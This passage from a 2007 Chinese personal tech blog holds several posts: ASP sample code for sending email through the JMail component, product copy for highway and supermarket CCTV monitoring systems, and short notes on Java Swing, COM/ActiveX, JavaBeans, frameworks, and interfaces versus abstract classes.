jmail.Subject = subject '邮件的标题
jmail.Body = content '邮件的内容
'由于没有用到密抄跟抄送,这里屏蔽掉这两句,如果您有需要的话,可以在这里恢复
'jmail.AddRecipientBCC Email '密件收件人的地址
'jmail.AddRecipientCC Email '邮件抄送者的地址
jmail.Execute() '执行邮件发送
jmail.Close '关闭邮件对象
End Sub

'调用此Sub的例子
Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer
strSubject = "这是一封用JMAIL发送的测试邮件"
strContent = "JMail组件发送测试成功!"
strEmail = "runbing@eyou.com"
strFromer = "runbing@eyou.com"
strMailAddress = "mail.ubbcn.com"

Call SendAction (strSubject,strMailaddress,strEmail,strSender,strContent,strFromer)

%>
jmail.smtpmail的核心代码:
<%
Set jmail = Server.CreateObject("JMAIL.SMTPMail") '创建一个JMAIL对象
jmail.silent = true 'JMAIL不会抛出例外错误,返回的值为FALSE跟TRUE
jmail.logging = true '启用使用日志
jmail.Charset = "GB2312" '邮件文字的代码为简体中文
jmail.ContentType = "text/html" '邮件的格式为HTML的
jmail.ServerAddress = "Server Address" '发送邮件的服务器
jmail.AddRecipient Email '邮件的收件人
jmail.SenderName = "SenderName" '邮件发送者的姓名
jmail.Sender = "Email Address" '邮件发送者的邮件地址
jmail.Priority = 1 '邮件的紧急程序,1 为最快,5 为最慢, 3 为默认值
jmail.Subject = "Mail Subject" '邮件的标题
jmail.Body = "Mail Body" '邮件的内容
jmail.AddRecipientBCC Email '密件收件人的地址
jmail.AddRecipientCC Email '邮件抄送者的地址
jmail.Execute() '执行邮件发送
jmail.Close '关闭邮件对象
%>

w3 Jmail4.3组件核心代码:

<%
Set jmail = Server.CreateObject("JMAIL.Message") '建立发送邮件的对象
jmail.silent = true '屏蔽例外错误,返回FALSE跟TRUE两值j
mail.logging = true '启用邮件日志
jmail.Charset = "GB2312" '邮件的文字编码为国标
jmail.ContentType = "text/html" '邮件的格式为HTML格式
jmail.AddRecipient Email '邮件收件人的地址
jmail.From = "Email From for Sender" '发件人的E-MAIL地址
jmail.MailServerUserName = "UserName of Email" '登录邮件服务器所需的用户名
jmail.MailServerPassword = "Password of Email" '登录邮件服务器所需的密码
jmail.Subject = "Mail Subject" '邮件的标题
jmail.Body = "Mail Body" '邮件的内容
jmail.Prority = 1 '邮件的紧急程序,1 为最快,5 为最慢, 3 为默认值
jmail.Send("Server Address") '执行邮件发送(通过邮件服务器地址)
jmail.Close() '关闭对象
%>

- 作者: 随风舞动 2007年03月7日, 星期三 22:18  回复(0) |  引用(0) 加入博采

现代化高速公路视频监控系统解决方案

随着高速公路管理要求的不断提高,收费管理、数据通信、图像监控已经是现代化高速公路建设中必不可少的一个部分。图像监控系统主要由以GLOVIEW网络视频服务器为核心,以及摄像机、云台、解码器、等设备组成。

摄像机设置于收费通道、收费亭、重要路段口,可监视车型,减少车辆检测方面的设备、可以监视收费员的工作情况。监控软件可将收费数据和日期时间叠加显示在放行车辆图像上,并录像存档,这样既可作实时监控或有选择地审查可疑的操作人员,实现对收费作业图像信息化的监督管理,并能够对违章作弊的行为提供凭证。

监控软件可以同时显示多个收费通道、收费亭、重要路段口的画面,并在同一时间录下相关的多个图像。 从目前国内大部分的高速公路现况来看,几乎80的公路沿线都已经具有了光纤传输线路,因此,可以利用原有的光网络进行图像传输,大大的节约了建设成本。

★系统组成 系统设备

●监控前端主要由NetView网络视频服务器、摄象机(防护罩、摄象机、镜头、支架)、云台、解码器等主要设备组成。网络视频服务器是整个系统中的核心设备,实现网络化、数字化处理工作,它完成模拟视频监视信号的数字采集、影像压缩、监控数据处理、报警信号的采集、网络的传输等功能。它可将前端的模拟信号同时处理成高清晰的实时数字图像发布到网络中,可实现多用户同时监控相同或者不同的现场图像,真正做到视频共享。

●端监控有数台装有专用监控软件的电脑组成。

★系统优势:

●可以利用公路上原有的光网络传输视频图像,使布线简单化。

●稳定性好,不死机,使用嵌入式操作系统。

●不受病毒侵袭,系统采用VXWORKS操作系统,安全可*,WINDOWS系统的病毒无法入侵。

●能齐全,集成度高,具有动态IP功能。

●施工方便、价格合理。

●系统具有未来的可扩展性。

★系统功能介绍:

●减少车辆检测方面的设备投入。

●可以监视收费员的工作情况,避免舞弊行为。

●防止车辆恶意逃跑。 大型超市闭路电视实时监控系统组成及分布解决方案 摄像机安装在商场商品货架区域的上方,对商场的自助购物情况进行全方位动态实时监视。

★闭路监控系统

针对某连锁超市的要求,设计如下的超市闭路电视监控系统,该系统总计包括16台商业监控专用高分辨率彩色CCD摄像机。 其中10台为彩色定焦镜头CCD摄像机,配装室内防护罩及支架。6台为彩色16倍变焦镜头一体化摄像机,配装室内全方位云台球形防护罩。10台彩色定焦镜头摄像机安装在商场购物收银结算台及出入口上方,对商场内顾客进出及购物结算情况进行定位监视,同时可实时监视收银员工作。系统提供的 6台彩色16倍变焦镜头一体化摄像机安装在商场商品货架区域的上方,对商场的自助购物情况进行全方位动态实时监视。

★防盗报警系统

系统共计2个报警探测器,采用先进的三鉴探测器;警号和警铃各1个。 配置2个三鉴探测器分别设在商场的总出口和入口处, 需要时开启,对外界的人员等入侵进行不间断监测。警号和警铃安放在保卫室和商场大厅内,在报警探测器信号被触发后及时通知商场保安值班人员,并对入侵者进行吓阻。

●主控室配置

主控室器材主要包括1台16路8出带报警模块的主控音视频矩阵控制器 PE40、1台高分辨率彩色双功十六画面分割处理器 PE5139、1台专业多功能长时间(24小时)录象机、7台专业级14彩色监视器、6孔屏幕墙、1.5米控制台、以及1台作为十六画面同时监看和录象回放的34彩色电视机。系统提供的系统矩阵主控制器能对系统内的各监视点图像进行自由切换,并显示在任意彩色监视器上,还能任意控制系统内的变焦镜头摄像机、云台的各种动作。内置报警模块还可以在报警探测器的信号触发下进行联动,实现强制切换视频图象、触发录象机录象、警号鸣叫等功能。画面分割处理器能将16个监视点的图像信号以画面合成的方式同时显示在一台彩色电视机的屏幕上,并能将合成信号用长延时录像机进行录像存档。

●分控配置

系统设置1台分控计算机, 配合外置分控器及分控软件,由首长用户(商场经理)进行操作和使用。它是通过多媒体计算机来实现所有的监视控制功能,并能将拍摄的画面实时显示在计算机显示器上。计算机可以由用户自行提供,目前市场上的多媒体机型均可使用。

- 作者: 随风舞动 2007年03月7日, 星期三 15:09  回复(0) |  引用(0) 加入博采

java swing组件
1、Swing的实现是一个小型GUI框架,该框架无基本平台依赖性,而在AWT实现中却有依赖性。

2、javax.swing.JComponent类是所有Swing组件的基类。

3、Swing模型的目标是要遵循模型-视图-控制器体系结构。模型封装了数据和状态的底层表示。

4、javax.swing.plaf包提供了一个接口和许多抽象类用于定义可插入的外观框架。缺省的外观由javax.swing.plaf.basic包中的类实现。

- 作者: 随风舞动 2007年03月6日, 星期二 21:34  回复(0) |  引用(0) 加入博采

com组件
java本身也可以成为面向组件的语言,其组件化的成熟度强于.net
1、简洁的组件化规范
构造一个bean比一个com组件轻松的多

2、classloader机制,比较classloader机制和com 的CreateObject可以发现其灵活性强很多,由于自定义classloader的灵活性,可以将功能在组件容器和组件之间合理的分配。
3、组件元信息和反射机制
com中的元信息由typelib定义,存储在注册表中。而java将元信息可以通过反射机制在运行期获取,其宿主就是.class文件本身。

4、接口和实现的分离
sun公司对java的控制采用了一种很好的方法,sun提出接口定义,各公司可以提供自己的实现,避免了linux式的混乱和微软的专制,这很大程度上依赖于java的面向组件的特性。
对java面向对象的研究很多,其出发点是如何java对象的组合表达问题中的概念,而面向组件的研究着眼与接口和实现的分离,以及可动态组装的系统,这一点对构造成功的系统同样重要
ActiveX是Microsoft对于一系列策略性面向对象程序技术和工具的称呼,其中主要的技术是组件对象模型(COM)。在有目录和其它支持的网络中,COM变成了分布式COM(DCOM)。在创建包括ActiveX程序时,主要的工作就是组件,一个可以自足的在ActiveX网络(现在的网络主要包括Windows和Mac)中任意运行的程序。这个组件就是ActiveX近控件。ActiveX是Microsoft为抗衡Sun Microsystems的JAVA技术而提出的,此控件的功能和JAVA applet功能类似。

如果您使用的是Windows操作系统,您或许会注意到一些以OCX结尾的文件。OCX代表“对象链接与嵌入控件”(OLE),这个技术是Microsoft提出的程序技术,用于处理桌面文件的混合使用。现在COM的概念已经取代OLE的一部分,Microsoft也使用ActiveX控件代表组件对象。

组件的一大优点就是可以被大多数应用程序再使用(这些应用程序称为组件容器)。一个COM组件(ActiveX控件)可由不同语言的开发工具开发,包括C++和Visual Basic或PowerBuilder,甚至一些技术性语言如VBScript。

目前,ActiveX控件在Windows 95/NT和Macintosh中运行,Microsoft还准备支持UNIX的ActiveX控件。

ActiveX组件包括如下几类:

1.自动化服务器:可以由其他应用程序编程驱动的组件。自动化服务器至少包括一
个,也许是多个供其他应用程序生成和连接的基于IDispatch的接口。自动化服务器
可以含有也可以没有用户界面(UI),这取决于服务器的特性和功能。
2.自动化控制器:那些使用和操纵自动化服务器的应用程序。
3.控件:ActiveX控件等价于以前的OLE控件或OCX。一个典型的控件包括设计时和运
行时的用户界面,唯一的IDispatch接口定义控件的方法和属性,唯一的
IConnectionPoint接口用于控件可引发的事件。
4.文档:ActiveX文档,即以前所说的DocObect,表示一种不仅仅是简单控件或自动
化服务器的对象。ActiveX文档在结构上是对OLE链接和模型的扩展,并对其所在的
容器具有更多控制权。一个最显著的变化是菜单的显示方式。一个典型的OLE文档的
菜单会与容器菜单合并成一个新的集合,而ActiveX文档将替换整个菜单系统,只表
现出文档的特性而不是文档与容器共同的特性。
5.容器:ActiveX容器是一个可以作为自动化服务器、控件和文档宿主的应用程序

- 作者: 随风舞动 2007年03月6日, 星期二 21:30  回复(0) |  引用(0) 加入博采

JAVA组件
java 实际上都是类。

组件是抽象的概念而已,通俗的说是一些符合某种规范的类组合在一起就构成了组件。他可以提供某些特定的功能。
拿J2EE来说,有什么servlet,jsp, javabean,ejb都是组件。但实际他们都是类,只不过有他们特殊的规定。
举个例子,那个javabean来说:
javabean也就是个类,但你的类想成为javabean你必须,给你的类里的变量 (如xxx),添两个函数,getXxx()和setXxx()并且类里要有无参的构造函数。
有了这些就是JAVABEAN了。
你要问为什么要有这些规定呢,目前只能说 组件之间要想相互使用必须得有一种规范来约束。等你接触多了就更理解了。

- 作者: 随风舞动 2007年03月6日, 星期二 21:27  回复(0) |  引用(0) 加入博采

JAVA容器

我的观点

1

容器只是一个概念、一种架构。就拿EJB Server来说,Server试图为Bean提供分布式、事务、安全等基础设施,那么就必须有一个凌驾于Bean之上的Layer或者说warp,这样才能够从高层拦截Bean调用,进行一些额外操作。这样的架构就叫做容器架构。

2

可以放其他组件上去的组件 。

- 作者: 随风舞动 2007年03月6日, 星期二 21:25  回复(0) |  引用(0) 加入博采

java框架

框架就是方便用户使用,很多东西都是有共性的,只要架子一搭好就很方便做事情了,另外框架还能让开发人员减少出错的情况,把开发人员限制在一个范围内。hibernate做持久化的好些,sturts做JSP网站的好些。

1:使用框架就是使用它已经实现了的非常有用的功能,我们直接调用就行了,减轻劳动量。

2:许多优秀的框架都是免费的,如struts。

- 作者: 随风舞动 2007年03月6日, 星期二 21:24  回复(0) |  引用(0) 加入博采

關於面向介面編程(轉)
 

先定義介面,然後寫一個抽象類類實現通用的操作,專用的操作定義為抽象方法,強制繼承類實現。這樣一般的類就直接繼承該抽象類,然後比較特殊的地方實現抽象方法。非常特殊的類就直接實現介面。

 在用Java 編程的時候, 派生的來源可以是抽象類
( abstract class)、也可以是介面( interface)。何時使用抽象類? 何時使用介面? 這幾
個帖子正是討論了這個問題。
( 提出問題)
Alan, 我買了你的書, 讀到了其中“ Bridge 模式” 那一章。然後, 我把一位朋友— —
他是個Java專家, 有五、六年使用Java的經驗— — 叫來, 把你的書給他看, 並請他為我解
釋你的Java 代碼。我自己比較偏向於使用介面, 而你更多的使用了抽象類。他得出的結論
是: 你偏向於使用抽象類, 這反映出你對C++的愛好多於對Java的愛好。畢竟Java才有接
口這個概念, 而C++只有抽象類。因此, 我們感覺: 如果把你的示例代碼中的抽象類換成接
口, 也許會使它們更能反映出實際情況和“ 按照協議設計” 的思想。實際上, 如果讀過Peter
Coad的書, 你會發現他也主要使用介面。
( Alan Shalloway 的答覆)
感謝你對這本書的評論。
我用Java 也有五、六年了, 所以我不認為使用抽象類就表示沒有經驗。實際上, 我覺
得Java 的一大缺憾就是它不支援多繼承, 所以開發者經常被迫使用介面, 因為繼承只能使
用一次。當然了, 這裡面涉及到多繼承的性能問題和基類成員的名字重復問題。但是不管怎
麼說, 不允許多繼承總是值得質疑的。
至於我這本書, 我選擇使用抽象類, 是因為大多數人都熟悉它— — 不是每個人都喜歡去
看章節後面的C++示例的, 所以我決定用這種更通用的示例。
介面的問題就是它無法擁有默認行為。如果你用介面來定義一個什麼東西並希望跨過這
層封裝來添加一些行為, 你就必須使用委託。在我的記憶中, 有很多次就是因為不支援默認
行為而造成了麻煩。為了繞過這個限制, 我會使用委託, 但是這也是個痛苦的事情。
BTW: 我很喜歡Coad的書— — 我認為那是有史以來最好的設計書籍之一。
( Scott Bain 的跟貼)
從我自己的角度來說, 我是一個Java程式員( 從來沒用過C++)。但是每當我遇到單繼
承關係的時候, 我傾向於使用抽象類, 儘管我知道Java 不支援多繼承。為什麼這樣? 因為
即使我現在沒有任何默認行為, 將來我還可以放進一些默認行為, 而不必修改子類的結構。
而且, 如果要在一個繼承體系中放置工廠方法來生成子類的實例, 抽象類是就是最好、
最合乎邏輯的地方。因為客戶對象只需要“ 知道” 抽象類就可以了, 通過轉型得到的實例完
全封裝了子類的存在和選擇子類的規則。這使得系統的擴展變得簡單,而且不會造成副作用。
只有當需要讓一個類“ 象什麼” 而非“ 是什麼” 的時候, 我才會使用介面。
( Alan Shalloway 的回復)
PDF created with FinePrint pdfFactory trial version http://www.fineprint.com
精彩! 很高興看到這樣的回復! J
我也發現, 在Java 中缺少默認行為造成的影響似乎還沒有真正引起人們的重視。從一
開始, SUN 似乎就忽略了向後相容的問題。我可以大膽的預言: 完全用介面構建成的系統將
在幾年之後發現這是一個大問題。據我所知, 有幾個基於COM 模型( 也就是介面) 構建的應
用程式的開發者現在已經陷入了維護問題, 因為當他們想修改介面來應對新的情況( 比如添
加新的參數或新的方法) 時, 這會耗去他們大量的時間。如果使用抽象類, 修改就不會這麼
困難, 因為你可以只修改默認方法, 子類就不用動了。
我可不是說不能使用介面, 但是你必須清楚: 有些時候應該使用介面, 而有些時候就是
應該使用抽象類。不幸的是, 由於Java不支援多繼承, 你必須很小心的做出選擇。
( Scott Bain 的跟貼)
同樣精彩! 關於介面, 我再來廢話幾句:
有時候, 一個東西可以“ 是” 幾個東西。不明白這句話嗎? 我就拿我自己來舉個例子吧:
我“ 是”一個程式員、一個老師、一個作者、一個父親… … 你可以說我“ 實現了老師的介面”,
學生們會向我詢問關於上課的問題。我還“ 實現了父親的介面”, 但是我的學生可能知道這
一點, 也可能不知道。如果他們知道這一點, 他們就可以放心的向我詢問關於撫養小孩的問
題了。
但是, 儘管我實現了所有這些介面, 我還有一個抽象類— — “ 人”。這個抽象類給我提
供了所有的默認行為( 比如說我偶爾會走揹運)。

http://big5.phoenixtv.com:82/gate/big5/blog.phoenixtv.com/user3/s2006918/archives/2006/300266.html

- 作者: 随风舞动 2007年03月6日, 星期二 21:16  回复(0) |  引用(0) 加入博采